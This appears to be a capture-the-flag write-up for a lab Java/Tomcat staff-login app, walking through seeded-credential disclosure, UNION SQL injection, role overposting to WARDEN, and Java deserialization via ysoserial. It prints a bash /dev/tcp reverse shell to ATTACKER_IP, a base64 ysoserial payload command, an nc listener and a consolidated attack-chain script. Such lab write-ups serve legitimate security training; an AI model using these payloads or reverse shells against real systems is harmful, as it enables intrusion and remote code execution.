Reconnaissance

First up, downloaded the challenge file and unzipped it:

cd ~/Downloads
unzip ironhold-source-1784211881597.zip
Unzipping the ironhold-source challenge archive Contents of the unzipped ironhold-source archive

Next, ran Nmap:

nmap -sV -sC -T4 -p- TARGET_IP -oA IronHold__nmap

I like to set Target IPs as environmental variables. Saves a lot of time and energy:

export IP=TARGET_IP

Nmap returned results quite expediently:

Nmap scan results showing open ports 8080 and 22

What we know so far...

  • We have the application's complete source.
  • Open Port 8080/TCP runs Apache Tomcat and serves the IronHold staff-login app.
  • Open Port 22/TCP runs OpenSSH on Ubuntu

The Java repository files are database-access components. They read like separate repos, but they're not.

The best finds in the bunch:

  • DataSeeder.java: Seeded accounts, records, and application data.
  • AuthController.java: Login handling.
  • SessionUtil.java and the interceptors: Authentication and authorization decisions.
  • AdminController.java: Staff records, diagnostics, and control-panel routes.
  • ImportExportController.java: Potentially dangerous file/import functionality.
  • application.properties: Database and application configuration.

Next move: curled the login page and paid 8080 an in-browser visit:

curl -i "http://$IP:8080/"
curl response from the IronHold login page on port 8080 IronHold staff login page in the browser on port 8080

On the 8080 login screen, hovering over About the system shows:
http://TARGET_IP:8080/about;jsessionid=A4D23F44FA16D11D85DD72ABC192E2DB

Hovering over Service status shows:
http://TARGET_IP:8080/status;jsessionid=A4D23F44FA16D11D85DD72ABC192E2DB

Confirmed a conventional server-rendered Java login:

  • POST /login takes username and password.
  • Tomcat created an unauthenticated session using JSESSIONID.
  • ;jsessionid=... hover URLs are Tomcat's URL-rewriting fallback. By themselves, they're no credential IDs.
  • /about and /status are handed to us in the hover-links, and become our next targets.
curl -i "http://$IP:8080/about"
curl -i "http://$IP:8080/status"

/about:

curl output from /about endpoint revealing kiosk credential hint

/status:

curl output from /status endpoint showing actuator and legacy migration references

Near the bottom of the /about curl, it reads:

Kiosk terminals in the officers' station retain a shared service login for shift handover; do not use kiosk credentials for personal accounts.

That, my friends, is a cold-hard clue.

We also have /actuator flirting with us at the bottom of /status. Legacy data-migration service is also making eyes at us. Especially since we have ImportExportController.java in the source.

Probed the disclosed diagnostics root:

curl -i "http://$IP:8080/actuator"
Actuator endpoint response showing overexposed internal routes

Before unpacking that, inspected how authentication works:

sed -n '1,240p' src/main/java/com/ironhold/controller/AuthController.java
AuthController.java source showing login authentication flow

/actuator is incredibly overexposed. We have route mappings, environment/configuration metadata, application components, and other internals without authentication. This correctional facility needs some correctional controls in place.

The authentication controller was the obvious next step in the chain:

username → findByUsername() → stored Staff record
password → PasswordEncoder.matches() → stored password

No visible controller-level bypass or raw SQL injection. The credentials are likely hiding in the weeds of seeded data or weakened by the password-encoder config.

Source-checked DataSeeder.java and PasswordConfig.java next. Might turn up plaintext passwords, seeded kiosk or service usernames, that kind of thing.

sed -n '1,360p' src/main/java/com/ironhold/seed/DataSeeder.java

and

sed -n '1,200p' src/main/java/com/ironhold/config/PasswordConfig.java

Aha! Usable officer credentials in DataSeeder.java.

DataSeeder.java revealing seeded officer credentials in plaintext

Sorry, Officer Reyes. You just got pwned.

That plaintext is BCrypt-encoded during startup, meaning cracking is unnecessary. The seeder also maps out the first 3 flag objectives, but I won't spoil the fun just yet.

PasswordConfig.java

PasswordConfig.java showing BCrypt encoder configuration

Ran this to compact the seeder into a digestible evidence block:

rg -n -C 8 'fillerHash' src/main/java/com/ironhold/seed/DataSeeder.java
ripgrep output confirming fillerHash usage and officer account seeding

The rg output and PasswordConfig.java prove the username, known password, and BCrypt processing. j.reyes turned up as an officer, IronholdStaff2026! got encoded once with BCrypt, and that hash got assigned to every listed officer account.

Logged in as Officer Reyes:

Successful login as Officer Reyes on the IronHold staff portal

We're in. Thanks, Officer!

SQL Injection via UNION

In DataSeeder.java, there's an abhorrent bounty of private inmate information. Not good data to leave unsecured. It's a serious access-control/privacy design problem.

That section of DataSeeder.java pointed to where flag 2 lived: case_files. It also showed the inmate-lookup database account had access to both inmates and case_files.

Reconstructed the SQL query and its column structure for readability:

sed -n '1,300p' src/main/java/com/ironhold/controller/InmateController.java
sed -n '1,240p' src/main/java/com/ironhold/config/DataAccessConfig.java

To funnel down what mattered from InmateController.java and DataAccessConfig.java:

nl -ba src/main/java/com/ironhold/config/DataAccessConfig.java | sed -n '10,52p'
rg -n -C 4 'GRANT SELECT ON case_files|IA-2024-007' src/main/java/com/ironhold/seed/DataSeeder.java
DataAccessConfig.java showing hardcoded lookup credentials and H2 database connection

Now the developers' security claim was clear: hardcoded lookup credentials, a connection to the shared H2 database, and use of the reduced-privilege account.

Below: the lookup account had SELECT access to case_files, the hidden IA-2024-007 record, and flag2 sitting in that record's summary.

DataSeeder.java showing excessive SELECT grant on case_files and hidden IA-2024-007 record with flag2

Score.

Didn't have remote DB access yet. Time to get it:

sed -n '1,300p' src/main/java/com/ironhold/controller/InmateController.java
InmateController.java showing raw SQL concatenation with user input q

This showed q went straight into SQL instead of being passed as a parameter. Lots more there. Cleaned up the output:

nl -ba src/main/java/com/ironhold/controller/InmateController.java | sed -n '25,48p'
Line-numbered InmateController.java showing injectable SQL concatenation

Also checked the same path in-browser to see how it played out:

In-browser inmate search showing the injectable search field

UNION adopts the first query's output-column names, meaning the case-file title should appear where the inmate's name normally does.

UNION-based SQL injection returning the hidden flag from case_files

Or a flag appears. Either way, it works. Very considerate.

Our chain so far:
SQL concatenation > UNION with three compatible columns > excessive SELECT permission on case_files > hidden record disclosed.

Privilege Escalation via Role Overposting

Onwards to the warden-only door-control panel.

Before clicking around, worth understanding how the application enforces the role boundary:

sed -n '1,240p' src/main/java/com/ironhold/security/WardenInterceptor.java

And...

sed -n '1,260p' src/main/java/com/ironhold/config/WebMvcConfig.java
WardenInterceptor.java source showing isWarden() role check on /admin paths WebMvcConfig.java registering WardenInterceptor on /admin/** paths

This is starting to look a whole lot like credential disclosure and not like authorization bypass. The app takes the username from the server-side session, reloads that user from the database, checks the stored role with isWarden(), and protects /admin/**.

Three separate hints pointed at a warden-password disclosure. Used curl with jq to test that:

curl -sS "http://$IP:8080/actuator/env/app.warden.password" | jq
Actuator env endpoint confirming warden password property exists but value is sanitized

Well, this is a helpful negative result.

/actuator/env was publicly reachable. Confirmed the property existed, and where: application.properties. This result even identified 18:21, aka line 18, column 21 inside the packaged config. Spring's sensitive-value sanitization blocked the password from view. Good thing there was a leaked, unredacted source archive sitting right there.

Took a look at it:

nl -ba src/main/resources/application.properties | sed -n '1,80p'
application.properties showing warden password bound to WARDEN_PASSWORD env var

The warden password lived in the runtime variable WARDEN_PASSWORD. Needed a different way to read that runtime value.

Checked whether IncidentController.java could read arbitrary server files.

sed -n '1,300p' src/main/java/com/ironhold/controller/IncidentController.java

Nope. It rejects ...

Tried ProfileController.java.

ProfileController.java showing @ModelAttribute Staff accepting user-supplied role field without authorization check

Aha! There's our priv-esc flaw.

@ModelAttribute Staff accepts a user-supplied role, and the controller saves it without checking authorization. Even if the profile doesn't show a role field, the backend still accepts one.

The warden interceptor reloads our friend Officer Reyes from the database, meaning his role could get changed to WARDEN to elevate the session.

Good job, Jenn.

First, created a second Reyes browser session...

curl -sS -c /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
  -X POST "http://$IP:8080/login" \
  --data-urlencode 'username=j.reyes' \
  --data-urlencode 'password=IronholdStaff2026!'

...then overposted the hidden role field:

curl -sS -b /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
  -X POST "http://$IP:8080/profile/update" \
  -d "fullName=Officer J. Reyes&email=j.reyes@ironhold.example&badgeNumber=O-104&role=WARDEN"
curl commands returning 302 for both login and role overpost confirming success

Wanted and got 302 for both.

Refreshed the browser.

Browser showing Officer Reyes now elevated to WARDEN role

Hah! Reyes got pwned, promoted, and still called Officer.

On /admin/control:

Warden door-control panel now accessible after role overposting

Java Deserialization RCE

Only one flag left to find.

Our goal: gain command execution on the server and read the final flag.

sed had been carrying this whole writeup. Used it again to inspect admin functionality:

sed -n '1,360p' src/main/java/com/ironhold/controller/AdminController.java

The controller came back not-injectable. It ran as an OS command:

new ProcessBuilder("df", "-h", "/opt/ironhold")

All arguments were fixed. No user input reached the command. There's only one route left:

sed -n '1,360p' src/main/java/com/ironhold/controller/ImportExportController.java
ImportExportController.java showing ois.readObject() deserializing attacker-controlled input

I think ois.readObject(); is our server entry flaw.

The application deserializes attacker-controlled Java objects. Before the application checks the restored object's type during readObject(), code inside a compatible dependency chain can execute.

Which gadget libraries are available? Let's find out.

sed -n '1,260p' pom.xml
sed -n '1,240p' src/main/java/com/ironhold/model/ImportManifest.java
pom.xml showing commons-collections dependency with vulnerable version range

The commons-collections dependency range says it all. It intentionally allows the vulnerable Commons Collections versions used by Java deserialization gadget chains.

ysoserial is the go-to payload generator for this situation.

Built the reverse shell to cross the finish line:

REV=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0)

Base64-wrapped the payload:

java --add-opens=java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections6 \
  "bash -c {echo,$REV}|{base64,-d}|{bash,-i}" | base64 -w0 > ironhold-payload.b64

A quick confirmation...

Confirming the ysoserial payload was generated and base64-encoded successfully

...and we're good.

In a new terminal, started a listener on 4444:

nc -lvnp 4444

Sent the payload through the pwned, elevated Officer Reyes Warden session:

curl -i -b /tmp/ironhold.cookies -X POST "http://$IP:8080/admin/import" \
  -H 'Content-Type: text/plain' --data-binary @ironhold-payload.b64
curl sending the deserialization payload via the admin import endpoint

Drumroll...

Netcat listener catching the reverse shell from the IronHold server

Next:

id
ls -la /
id and ls output showing appuser inside a Docker container

Landed as appuser, inside a Docker container. No flag visible at /.

The source pointed straight at /opt/ironhold for the final flag.

ls -la /opt/ironhold

And the source speaks truth:

ls -la /opt/ironhold showing flag.txt
cat /opt/ironhold/flag.txt
cat flag.txt revealing the final facility server flag

Fin.

Flags:

THM{REDACTED}
THM{REDACTED}
THM{REDACTED}
THM{REDACTED}

No root escalation required. The goal was the facility-server flag, and the compromised application account already had access.

Pwned, promoted, serialized, finished.

Cue the confetti...

IronHold CTF completion confetti screen

Full Attack Chain

# Recon
nmap -sV -sC -T4 -p- TARGET_IP -oA IronHold__nmap
export IP=TARGET_IP
curl -i "http://$IP:8080/"
curl -i "http://$IP:8080/about"
curl -i "http://$IP:8080/status"
curl -i "http://$IP:8080/actuator"

# Source review found seeded officer creds
# j.reyes / IronholdStaff2026!

# Auth as officer
curl -sS -c /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
  -X POST "http://$IP:8080/login" \
  --data-urlencode 'username=j.reyes' \
  --data-urlencode 'password=IronholdStaff2026!'

# SQLi via UNION on inmate lookup surfaces flag 2 (case_files / IA-2024-007)

# Overpost hidden role field to escalate to WARDEN
curl -sS -b /tmp/ironhold.cookies -o /dev/null -w '%{http_code}\n' \
  -X POST "http://$IP:8080/profile/update" \
  -d "fullName=Officer J. Reyes&email=j.reyes@ironhold.example&badgeNumber=O-104&role=WARDEN"

# Insecure Java deserialization via ImportExportController (vulnerable Commons Collections)
REV=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0)
java --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 \
  "bash -c {echo,$REV}|{base64,-d}|{bash,-i}" | base64 -w0 > ironhold-payload.b64

nc -lvnp 4444

curl -i -b /tmp/ironhold.cookies -X POST "http://$IP:8080/admin/import" \
  -H 'Content-Type: text/plain' --data-binary @ironhold-payload.b64

# Shell lands as appuser, final flag at /opt/ironhold/flag.txt
cat /opt/ironhold/flag.txt  # flag redacted for publish